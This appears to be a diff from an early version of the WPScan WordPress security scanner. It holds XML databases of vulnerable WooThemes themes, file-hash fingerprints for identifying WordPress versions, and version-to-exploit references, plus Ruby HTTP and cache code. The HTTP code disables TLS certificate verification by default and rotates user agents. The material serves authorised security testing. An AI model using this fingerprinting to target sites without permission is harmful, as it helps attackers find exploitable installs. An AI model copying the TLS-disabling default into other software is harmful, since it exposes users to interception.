|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="bloggingstream">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="thestation">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="groovyvideo">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="irresistible">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="cushy">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="wootube">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="abstract">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="busybee">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="blogtheme">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="typebased">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="overeasy">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="snapshot">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="openair">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="freshnews">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="livewire">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="flashnews">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="gazette">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
<theme name="premiumnews">
|
||||
<vulnerability>
|
||||
<title>WooThemes WooFramework Remote Unauthenticated Shortcode Execution</title>
|
||||
<reference>https://gist.github.com/2523147</reference>
|
||||
<type>RCE</type>
|
||||
</vulnerability>
|
||||
</theme>
|
||||
|
||||
</themes>
|
||||
232
data/wp_versions.xml
Normal file
232
data/wp_versions.xml
Normal file
@@ -0,0 +1,232 @@
|
||||
<?xml version="1.0"?>
|
||||
|
||||
<!--
|
||||
WPScan - WordPress Security Scanner
|
||||
Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
ryandewhurst at gmail
|
||||
|
||||
<!--
|
||||
This file contains identification data to identify WordPress verions.
|
||||
http://wordpress.org/download/release-archive/
|
||||
|
||||
Position is important, DO NOT change anything unless you know what you are doing :p
|
||||
-->
|
||||
|
||||
<wp-versions>
|
||||
|
||||
<file src="wp-includes/js/customize-preview.js">
|
||||
<hash md5="617d9fd858e117c7d1d087be168b5643">
|
||||
<score>1</score>
|
||||
<versions>3.4.1</versions>
|
||||
</hash>
|
||||
|
||||
<hash md5="da36bc2dfcb13350c799b62de68dfa4b">
|
||||
<score>1</score>
|
||||
<versions>3.4</versions>
|
||||
</hash>
|
||||
|
||||
<hash md5="a8a259fc5197a78ffe62d6be38dc52f8">
|
||||
<score>1</score>
|
||||
<versions>3.4-beta4</versions>
|
||||
</hash>
|
||||
</file>
|
||||
|
||||
<file src="wp-includes/js/plupload/plupload.js">
|
||||
|
||||
<hash md5="85199c05db63fcb5880de4af8be7b571">
|
||||
<score>1</score>
|
||||
<versions>3.3.2</versions>
|
||||
</hash>
|
||||
|
||||
</file>
|
||||
|
||||
|
||||
<file src="$wp-content$/themes/twentyeleven/style.css">
|
||||
|
||||
<!-- same md5 for 3.3.2 -->
|
||||
<hash md5="030d3bac906ba69e9fbc99c5bac54a8e">
|
||||
<score>1</score>
|
||||
<versions>3.3.1</versions>
|
||||
</hash>
|
||||
|
||||
</file>
|
||||
|
||||
|
||||
<file src="wp-admin/js/wp-fullscreen.js">
|
||||
|
||||
<hash md5="5675f7793f171b6424bf72f9d7bf4d9a">
|
||||
<score>1</score>
|
||||
<versions>3.2.1</versions>
|
||||
</hash>
|
||||
|
||||
<hash md5="7b423e0b7c9221092737ad5271d09863">
|
||||
<score>1</score>
|
||||
<versions>3.2</versions>
|
||||
</hash>
|
||||
|
||||
</file>
|
||||
|
||||
|
||||
<file src="wp-admin/js/common.js">
|
||||
|
||||
<hash md5="4516252d47a73630280869994d510180">
|
||||
<score>1</score>
|
||||
<versions>3.3</versions>
|
||||
</hash>
|
||||
|
||||
</file>
|
||||
|
||||
|
||||
<file src="wp-includes/css/admin-bar.css">
|
||||
|
||||
<hash md5="181250fab3a7e2549a7e7fa21c2e6079">
|
||||
<score>1</score>
|
||||
<versions>3.1</versions>
|
||||
</hash>
|
||||
|
||||
</file>
|
||||
|
||||
|
||||
<file src="$wp-content$/themes/twentyten/style.css">
|
||||
|
||||
<hash md5="6211e2ac1463bf99e98f28ab63e47c54">
|
||||
<score>1</score>
|
||||
<versions>3.0</versions>
|
||||
</hash>
|
||||
|
||||
</file>
|
||||
|
||||
|
||||
<file src="$wp-plugins$/akismet/readme.txt">
|
||||
|
||||
<hash md5="4d5e52da417aa0101054bd41e6243389">
|
||||
<score>1</score>
|
||||
<versions>2.8.6</versions>
|
||||
</hash>
|
||||
|
||||
<hash md5="58e086dea9d24ed074fe84ba87386c69">
|
||||
<score>1</score>
|
||||
<versions>2.8.5</versions>
|
||||
</hash>
|
||||
|
||||
<hash md5="48c52025b5f28731e9a0c864c189c2e7">
|
||||
<score>1</score>
|
||||
<versions>2.8.2</versions>
|
||||
</hash>
|
||||
|
||||
</file>
|
||||
|
||||
|
||||
<file src="wp-includes/js/wp-ajax-response.js">
|
||||
|
||||
<hash md5="0289d1c13821599764774d55516ab81a">
|
||||
<score>1</score>
|
||||
<versions>2.7.1</versions>
|
||||
</hash>
|
||||
|
||||
</file>
|
||||
|
||||
|
||||
<file src="wp-includes/js/thickbox/thickbox.css">
|
||||
|
||||
<hash md5="9c2bd2be0893adbe02a0f864526734c2">
|
||||
<score>1</score>
|
||||
<versions>2.7</versions>
|
||||
</hash>
|
||||
|
||||
</file>
|
||||
|
||||
|
||||
<file src="wp-includes/js/tinymce/plugins/wpeditimage/editor_plugin.js">
|
||||
|
||||
<hash md5="5b140ddf0f08034402ae78b31d8a1a28">
|
||||
<score>1</score>
|
||||
<versions>2.6</versions>
|
||||
</hash>
|
||||
|
||||
</file>
|
||||
|
||||
|
||||
<file src="wp-includes/js/tinymce/themes/advanced/js/image.js">
|
||||
|
||||
<hash md5="088245408531c58bb52cc092294cc384">
|
||||
<score>1</score>
|
||||
<versions>2.5.1</versions>
|
||||
</hash>
|
||||
|
||||
</file>
|
||||
|
||||
|
||||
<file src="wp-includes/js/tinymce/themes/advanced/js/link.js">
|
||||
|
||||
<hash md5="19c6f3118728c38eb7779aab4847d2d9">
|
||||
<score>1</score>
|
||||
<versions>2.5</versions>
|
||||
</hash>
|
||||
|
||||
</file>
|
||||
|
||||
|
||||
<file src="wp-includes/js/wp-ajax.js">
|
||||
|
||||
<hash md5="c5dbce0c3232c477033e0ce486c62755">
|
||||
<score>1</score>
|
||||
<versions>2.2</versions>
|
||||
</hash>
|
||||
|
||||
</file>
|
||||
|
||||
|
||||
<file src="$wp-content$/themes/default/style.css">
|
||||
|
||||
<hash md5="e44545f529a54de88209ce588676231c">
|
||||
<score>1</score>
|
||||
<versions>2.0.1</versions>
|
||||
</hash>
|
||||
|
||||
<hash md5="f786f66d3a40846aa22dcdfeb44fa562">
|
||||
<score>1</score>
|
||||
<versions>2.0</versions>
|
||||
</hash>
|
||||
|
||||
</file>
|
||||
|
||||
|
||||
<file src="wp-layout.css">
|
||||
|
||||
<hash md5="7140e06c00ed03d2bb3dad7672557510">
|
||||
<score>1</score>
|
||||
<versions>1.2.1</versions>
|
||||
</hash>
|
||||
|
||||
<hash md5="1bcc9253506c067eb130c9fc4f211a2f">
|
||||
<score>1</score>
|
||||
<versions>1.2-delta</versions>
|
||||
</hash>
|
||||
</file>
|
||||
|
||||
|
||||
<file src="layout2b.css">
|
||||
|
||||
<hash md5="baec6b6ccbf71d8dced9f1bf67c751e1">
|
||||
<score>1</score>
|
||||
<versions>0.71-gold</versions>
|
||||
</hash>
|
||||
|
||||
</file>
|
||||
|
||||
</wp-versions>
|
||||
211
data/wp_vulns.xml
Normal file
211
data/wp_vulns.xml
Normal file
@@ -0,0 +1,211 @@
|
||||
<?xml version="1.0"?>
|
||||
<!--
|
||||
WPScan - WordPress Security Scanner
|
||||
Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
ryandewhurst at gmail
|
||||
|
||||
|
||||
This file contains vulnerabilities associated with WordPress verions.
|
||||
|
||||
-->
|
||||
<vulnerabilities>
|
||||
<wordpress version="3.4-beta4">
|
||||
<vulnerability>
|
||||
<title>Wordpress 3.3.1 Multiple CSRF Vulnerabilities</title>
|
||||
<reference>http://www.exploit-db.com/exploits/18791/</reference>
|
||||
</vulnerability>
|
||||
</wordpress>
|
||||
|
||||
<wordpress version="3.3.2">
|
||||
<vulnerability>
|
||||
<title>Wordpress 3.3.1 Multiple CSRF Vulnerabilities</title>
|
||||
<reference>http://www.exploit-db.com/exploits/18791/</reference>
|
||||
</vulnerability>
|
||||
<vulnerability>
|
||||
<title>WordPress 3.3.2 Cross Site Scripting</title>
|
||||
<reference>http://packetstormsecurity.org/files/113254</reference>
|
||||
</vulnerability>
|
||||
</wordpress>
|
||||
|
||||
<wordpress version="3.3.1">
|
||||
<vulnerability>
|
||||
<title>Multiple vulnerabilities including XSS and Privilege Escalation</title>
|
||||
<reference>http://wordpress.org/news/2012/04/wordpress-3-3-2/</reference>
|
||||
</vulnerability>
|
||||
<vulnerability>
|
||||
<title>Wordpress 3.3.1 Multiple CSRF Vulnerabilities</title>
|
||||
<reference>http://www.exploit-db.com/exploits/18791/</reference>
|
||||
</vulnerability>
|
||||
</wordpress>
|
||||
|
||||
<wordpress version="3.3">
|
||||
<vulnerability>
|
||||
<title>Reflected Cross-Site Scripting in WordPress 3.3</title>
|
||||
<reference>http://oldmanlab.blogspot.com/2012/01/wordpress-33-xss-vulnerability.html</reference>
|
||||
</vulnerability>
|
||||
</wordpress>
|
||||
|
||||
<wordpress version="3.1.3">
|
||||
<vulnerability>
|
||||
<title>Multiple SQL Injection Vulnerabilities</title>
|
||||
<reference>http://www.exploit-db.com/exploits/17465/</reference>
|
||||
</vulnerability>
|
||||
</wordpress>
|
||||
|
||||
<wordpress version="3.1.2">
|
||||
<vulnerability>
|
||||
<title>Wordpress <= 3.1.2 Clickjacking Vulnerability</title>
|
||||
<reference>http://seclists.org/fulldisclosure/2011/Sep/219</reference>
|
||||
</vulnerability>
|
||||
</wordpress>
|
||||
|
||||
<wordpress version="3.0.3">
|
||||
<vulnerability>
|
||||
<title>SQL injection vulnerability in do_trackbacks() Wordpress function</title>
|
||||
<reference>http://www.exploit-db.com/exploits/15684/</reference>
|
||||
</vulnerability>
|
||||
<vulnerability>
|
||||
<title>Wordpress 3.0.3 stored XSS IE7,6 NS8.1</title>
|
||||
<reference>http://www.exploit-db.com/exploits/15858/</reference>
|
||||
</vulnerability>
|
||||
</wordpress>
|
||||
|
||||
<wordpress version="2.9">
|
||||
<vulnerability>
|
||||
<title>WordPress 2.9 Failure to Restrict URL Access</title>
|
||||
<reference>http://www.exploit-db.com/exploits/11441/</reference>
|
||||
</vulnerability>
|
||||
<vulnerability>
|
||||
<title>Wordpress DOS <= 2.9</title>
|
||||
<reference>http://www.exploit-db.com/exploits/11441/</reference>
|
||||
</vulnerability>
|
||||
</wordpress>
|
||||
|
||||
<wordpress version="2.8.5">
|
||||
<vulnerability>
|
||||
<title>WordPress <= 2.8.5 Unrestricted File Upload Arbitrary PHP Code Execution</title>
|
||||
<reference>http://www.exploit-db.com/exploits/10089/</reference>
|
||||
</vulnerability>
|
||||
</wordpress>
|
||||
|
||||
<wordpress version="2.8.3">
|
||||
<vulnerability>
|
||||
<title>Wordpress <= 2.8.3 Remote Admin Reset Password Vulnerability</title>
|
||||
<reference>http://www.exploit-db.com/exploits/9410/</reference>
|
||||
</vulnerability>
|
||||
</wordpress>
|
||||
|
||||
<wordpress version="2.8.1">
|
||||
<vulnerability>
|
||||
<title>Wordpress 2.8.1 (url) Remote Cross Site Scripting Exploit</title>
|
||||
<reference>http://www.exploit-db.com/exploits/9250/</reference>
|
||||
</vulnerability>
|
||||
</wordpress>
|
||||
|
||||
<wordpress version="2.7.1">
|
||||
<vulnerability>
|
||||
<title>WordPress 2.0 - 2.7.1 admin.php Module Configuration Security Bypass Vulnerability</title>
|
||||
<reference>http://www.exploit-db.com/exploits/10088/</reference>
|
||||
</vulnerability>
|
||||
</wordpress>
|
||||
|
||||
<wordpress version="2.6.1">
|
||||
<vulnerability>
|
||||
<title>Wordpress 2.6.1 (SQL Column Truncation) Admin Takeover Exploit</title>
|
||||
<reference>http://www.exploit-db.com/exploits/6421/</reference>
|
||||
</vulnerability>
|
||||
</wordpress>
|
||||
|
||||
<wordpress version="2.3.1">
|
||||
<vulnerability>
|
||||
<title>Wordpress <= 2.3.1 Charset Remote SQL Injection Vulnerability</title>
|
||||
<reference>http://www.exploit-db.com/exploits/4721/</reference>
|
||||
</vulnerability>
|
||||
</wordpress>
|
||||
|
||||
<wordpress version="2.2">
|
||||
<vulnerability>
|
||||
<title>WordPress 2.2 (wp-app.php) Arbitrary File Upload Exploit</title>
|
||||
<reference>http://www.exploit-db.com/exploits/4113/</reference>
|
||||
</vulnerability>
|
||||
<vulnerability>
|
||||
<title>Wordpress 2.2 (xmlrpc.php) Remote SQL Injection Exploit</title>
|
||||
<reference>http://www.exploit-db.com/exploits/4039/</reference>
|
||||
</vulnerability>
|
||||
</wordpress>
|
||||
|
||||
<wordpress version="2.1.3">
|
||||
<vulnerability>
|
||||
<title>Wordpress 2.1.3 admin-ajax.php SQL Injection Blind Fishing Exploit</title>
|
||||
<reference>http://www.exploit-db.com/exploits/3960/</reference>
|
||||
</vulnerability>
|
||||
</wordpress>
|
||||
|
||||
<wordpress version="2.1.2">
|
||||
<vulnerability>
|
||||
<title>Wordpress 2.1.2 (xmlrpc) Remote SQL Injection Exploit</title>
|
||||
<reference>http://www.exploit-db.com/exploits/3656/</reference>
|
||||
</vulnerability>
|
||||
</wordpress>
|
||||
|
||||
<wordpress version="2.0.6">
|
||||
<vulnerability>
|
||||
<title>Wordpress <= 2.0.6 wp-trackback.php Remote SQL Injection Exploit</title>
|
||||
<reference>http://www.exploit-db.com/exploits/3109/</reference>
|
||||
</vulnerability>
|
||||
</wordpress>
|
||||
|
||||
<wordpress version="2.0.5">
|
||||
<vulnerability>
|
||||
<title>Wordpress 2.0.5 Trackback UTF-7 Remote SQL Injection Exploit</title>
|
||||
<reference>http://www.exploit-db.com/exploits/3095/</reference>
|
||||
</vulnerability>
|
||||
</wordpress>
|
||||
|
||||
<wordpress version="2.0.2">
|
||||
<vulnerability>
|
||||
<title>WordPress <= 2.0.2 (cache) Remote Shell Injection Exploit</title>
|
||||
<reference>http://www.exploit-db.com/exploits/6/</reference>
|
||||
</vulnerability>
|
||||
</wordpress>
|
||||
|
||||
<wordpress version="1.5.1.3">
|
||||
<vulnerability>
|
||||
<title>Wordpress <= 1.5.1.3 Remote Code Execution eXploit (metasploit)</title>
|
||||
<reference>http://www.exploit-db.com/exploits/1145/</reference>
|
||||
</vulnerability>
|
||||
</wordpress>
|
||||
|
||||
<wordpress version="1.5.1.2">
|
||||
<vulnerability>
|
||||
<title>Wordpress <= 1.5.1.2 xmlrpc Interface SQL Injection Exploit</title>
|
||||
<reference>http://www.exploit-db.com/exploits/1077/</reference>
|
||||
</vulnerability>
|
||||
</wordpress>
|
||||
|
||||
<wordpress version="1.5.1.1">
|
||||
<vulnerability>
|
||||
<title>WordPress <= 1.5.1.1 "add new admin" SQL Injection Exploit</title>
|
||||
<reference>http://www.exploit-db.com/exploits/1059/</reference>
|
||||
</vulnerability>
|
||||
<vulnerability>
|
||||
<title>WordPress <= 1.5.1.1 SQL Injection Exploit </title>
|
||||
<reference>http://www.exploit-db.com/exploits/1033/</reference>
|
||||
</vulnerability>
|
||||
</wordpress>
|
||||
|
||||
</vulnerabilities>
|
||||
218
lib/browser.rb
Normal file
218
lib/browser.rb
Normal file
@@ -0,0 +1,218 @@
|
||||
#
|
||||
# WPScan - WordPress Security Scanner
|
||||
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
# ryandewhurst at gmail
|
||||
#
|
||||
|
||||
class Browser
|
||||
@@instance = nil
|
||||
@@user_agent_modes = ["static", "semi-static", "random"]
|
||||
|
||||
ACCESSOR_OPTIONS = [
|
||||
:user_agent,
|
||||
:user_agent_mode,
|
||||
:available_user_agents,
|
||||
:proxy,
|
||||
:max_threads,
|
||||
:cache_timeout,
|
||||
:request_timeout,
|
||||
:variables_to_replace_in_url
|
||||
]
|
||||
|
||||
attr_reader :hydra, :config_file
|
||||
attr_accessor *ACCESSOR_OPTIONS
|
||||
|
||||
def initialize(options = {})
|
||||
@config_file = options[:config_file] || CONF_DIR + '/browser.conf.json'
|
||||
options.delete(:config_file)
|
||||
|
||||
load_config()
|
||||
|
||||
if options.length > 0
|
||||
override_config_with_options(options)
|
||||
end
|
||||
|
||||
@hydra = Typhoeus::Hydra.new(:max_concurrency => @max_threads, :timeout => @request_timeout)
|
||||
# TODO : add an option for the cache dir instead of using a constant
|
||||
@cache = CacheFileStore.new(CACHE_DIR + '/browser')
|
||||
|
||||
@cache.clean
|
||||
|
||||
# might be in CacheFileStore
|
||||
setup_cache_handlers
|
||||
end
|
||||
private_class_method :new
|
||||
|
||||
def self.instance(options = {})
|
||||
unless @@instance
|
||||
@@instance = new(options)
|
||||
end
|
||||
@@instance
|
||||
end
|
||||
|
||||
def self.reset
|
||||
@@instance = nil
|
||||
end
|
||||
|
||||
def user_agent_mode=(ua_mode)
|
||||
ua_mode ||= "static"
|
||||
|
||||
if @@user_agent_modes.include?(ua_mode)
|
||||
@user_agent_mode = ua_mode
|
||||
# For semi-static user agent mode, the user agent has to be nil the first time (it will be set with the getter)
|
||||
@user_agent = nil if ua_mode === "semi-static"
|
||||
else
|
||||
raise "Unknow user agent mode : '#{ua_mode}'"
|
||||
end
|
||||
end
|
||||
|
||||
# return the user agent, accordting to the user_agent_mode
|
||||
def user_agent
|
||||
case @user_agent_mode
|
||||
when "semi-static"
|
||||
unless @user_agent
|
||||
@user_agent = @available_user_agents.sample
|
||||
end
|
||||
when "random"
|
||||
@user_agent = @available_user_agents.sample
|
||||
end
|
||||
@user_agent
|
||||
end
|
||||
|
||||
def max_threads=(max_threads)
|
||||
if max_threads.nil? or max_threads <= 0
|
||||
max_threads = 1
|
||||
end
|
||||
@max_threads = max_threads
|
||||
end
|
||||
|
||||
# TODO reload hydra (if the .load_config is called on a browser object, hydra will not have the new @max_threads and @request_timeout)
|
||||
def load_config(config_file = nil)
|
||||
@config_file = config_file || @config_file
|
||||
|
||||
data = JSON.parse(File.read(@config_file))
|
||||
|
||||
ACCESSOR_OPTIONS.each do |option|
|
||||
option_name = option.to_s
|
||||
|
||||
self.send(:"#{option_name}=", data[option_name])
|
||||
end
|
||||
end
|
||||
|
||||
def setup_cache_handlers
|
||||
@hydra.cache_setter do |request|
|
||||
@cache.write_entry(
|
||||
Browser.generate_cache_key_from_request(request),
|
||||
request.response,
|
||||
request.cache_timeout
|
||||
)
|
||||
end
|
||||
|
||||
@hydra.cache_getter do |request|
|
||||
@cache.read_entry(Browser.generate_cache_key_from_request(request)) rescue nil
|
||||
end
|
||||
end
|
||||
private :setup_cache_handlers
|
||||
|
||||
def get(url, params = {})
|
||||
run_request(
|
||||
forge_request(url, params.merge(:method => :get))
|
||||
)
|
||||
end
|
||||
|
||||
def post(url, params = {})
|
||||
run_request(
|
||||
forge_request(url, params.merge(:method => :post))
|
||||
)
|
||||
end
|
||||
|
||||
def forge_request(url, params = {})
|
||||
Typhoeus::Request.new(
|
||||
replace_variables_in_url(url),
|
||||
merge_request_params(params)
|
||||
)
|
||||
end
|
||||
|
||||
# return string
|
||||
def replace_variables_in_url(url)
|
||||
@variables_to_replace_in_url ||= {}
|
||||
|
||||
@variables_to_replace_in_url.each do |subject, replacement|
|
||||
url.gsub!(subject, replacement)
|
||||
end
|
||||
url
|
||||
end
|
||||
protected :replace_variables_in_url
|
||||
|
||||
def merge_request_params(params = {})
|
||||
if @proxy
|
||||
params = params.merge(:proxy => @proxy)
|
||||
end
|
||||
|
||||
if !params.has_key?(:disable_ssl_host_verification)
|
||||
params = params.merge(:disable_ssl_host_verification => true)
|
||||
end
|
||||
|
||||
if !params.has_key?(:disable_ssl_peer_verification)
|
||||
params = params.merge(:disable_ssl_peer_verification => true)
|
||||
end
|
||||
|
||||
if !params.has_key?(:headers)
|
||||
params = params.merge(:headers => {'user-agent' => self.user_agent})
|
||||
elsif !params[:headers].has_key?('user-agent')
|
||||
params[:headers]['user-agent'] = self.user_agent
|
||||
end
|
||||
|
||||
# Used to enable the cache system if :cache_timeout > 0
|
||||
if !params.has_key?(:cache_timeout)
|
||||
params = params.merge(:cache_timeout => @cache_timeout)
|
||||
end
|
||||
|
||||
params
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# return the response
|
||||
def run_request(request)
|
||||
@hydra.queue request
|
||||
@hydra.run
|
||||
request.response
|
||||
end
|
||||
|
||||
# Override with the options if they are set
|
||||
def override_config_with_options(options)
|
||||
options.each do |option, value|
|
||||
#if ACCESSOR_OPTIONS.include?(option)
|
||||
self.send(:"#{option}=", value)
|
||||
#end
|
||||
end
|
||||
end
|
||||
|
||||
# The Typhoeus::Request.cache_key only hash the url :/
|
||||
# this one will include the params
|
||||
# TODO : include also the method (:get, :post, :any)
|
||||
def self.generate_cache_key_from_request(request)
|
||||
cache_key = request.cache_key
|
||||
|
||||
if request.params
|
||||
cache_key = Digest::SHA1.hexdigest("#{cache_key}-#{request.params.hash}")
|
||||
end
|
||||
|
||||
cache_key
|
||||
end
|
||||
end
|
||||
52
lib/cache_file_store.rb
Normal file
52
lib/cache_file_store.rb
Normal file
@@ -0,0 +1,52 @@
|
||||
#
|
||||
# => @todo take consideration of the cache_timeout :
|
||||
# -> create 2 files per key : one for the data storage (key.store ?) and the other for the cache timeout (key.expiration, key.timeout ?)
|
||||
# or 1 file for all timeouts ?
|
||||
# -> 2 dirs : 1 for storage, the other for cache_timeout ?
|
||||
#
|
||||
|
||||
require 'yaml'
|
||||
|
||||
class CacheFileStore
|
||||
attr_reader :storage_path, :serializer
|
||||
|
||||
# The serializer must have the 2 methods .load and .dump (Marshal and YAML have them)
|
||||
# YAML is Human Readable, contrary to Marshal which store in a binary format
|
||||
# Marshal does not need any "require"
|
||||
def initialize(storage_path, serializer = YAML)
|
||||
@storage_path = File.expand_path(storage_path)
|
||||
@serializer = serializer
|
||||
|
||||
# File.directory? for ruby <= 1.9 otherwise, it makes more sense to do Dir.exist? :/
|
||||
if !File.directory?(@storage_path)
|
||||
Dir.mkdir(@storage_path)
|
||||
end
|
||||
end
|
||||
|
||||
def clean
|
||||
Dir[File.join(@storage_path, '*')].each do |f|
|
||||
File.delete(f)
|
||||
end
|
||||
end
|
||||
|
||||
def read_entry(key)
|
||||
entry_file_path = get_entry_file_path(key)
|
||||
|
||||
if File.exists?(entry_file_path)
|
||||
return @serializer.load(File.read(entry_file_path))
|
||||
end
|
||||
end
|
||||
|
||||
def write_entry(key, data_to_store, cache_timeout)
|
||||
if (cache_timeout > 0)
|
||||
File.open(get_entry_file_path(key), 'w') do |f|
|
||||
f.write(@serializer.dump(data_to_store))
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def get_entry_file_path(key)
|
||||
@storage_path + '/' + key
|
||||
end
|
||||
|
||||
end
|
||||
85
lib/common_helper.rb
Normal file
85
lib/common_helper.rb
Normal file
@@ -0,0 +1,85 @@
|
||||
|
||||
LIB_DIR = File.dirname(__FILE__)
|
||||
ROOT_DIR = File.expand_path(LIB_DIR + '/..') # expand_path is used to get "wpscan/" instead of "wpscan/lib/../"
|
||||
DATA_DIR = ROOT_DIR + "/data"
|
||||
CONF_DIR = ROOT_DIR + "/conf"
|
||||
CACHE_DIR = ROOT_DIR + "/cache"
|
||||
WPSCAN_LIB_DIR = LIB_DIR + "/wpscan"
|
||||
WPSTOOLS_LIB_DIR = LIB_DIR + "/wpstools"
|
||||
UPDATER_LIB_DIR = LIB_DIR + "/updater"
|
||||
|
||||
WPSCAN_VERSION = "1.1"
|
||||
|
||||
require "#{LIB_DIR}/environment"
|
||||
|
||||
# TODO : add an exclude pattern ?
|
||||
def require_files_from_directory(absolute_dir_path, files_pattern = "*.rb")
|
||||
Dir[File.join(absolute_dir_path, files_pattern)].sort.each do |f|
|
||||
f = File.expand_path(f)
|
||||
require f
|
||||
#puts "require #{f}" # Used for debug
|
||||
end
|
||||
end
|
||||
|
||||
# Add protocol
|
||||
def add_http_protocol(url)
|
||||
if url !~ /^https?:/
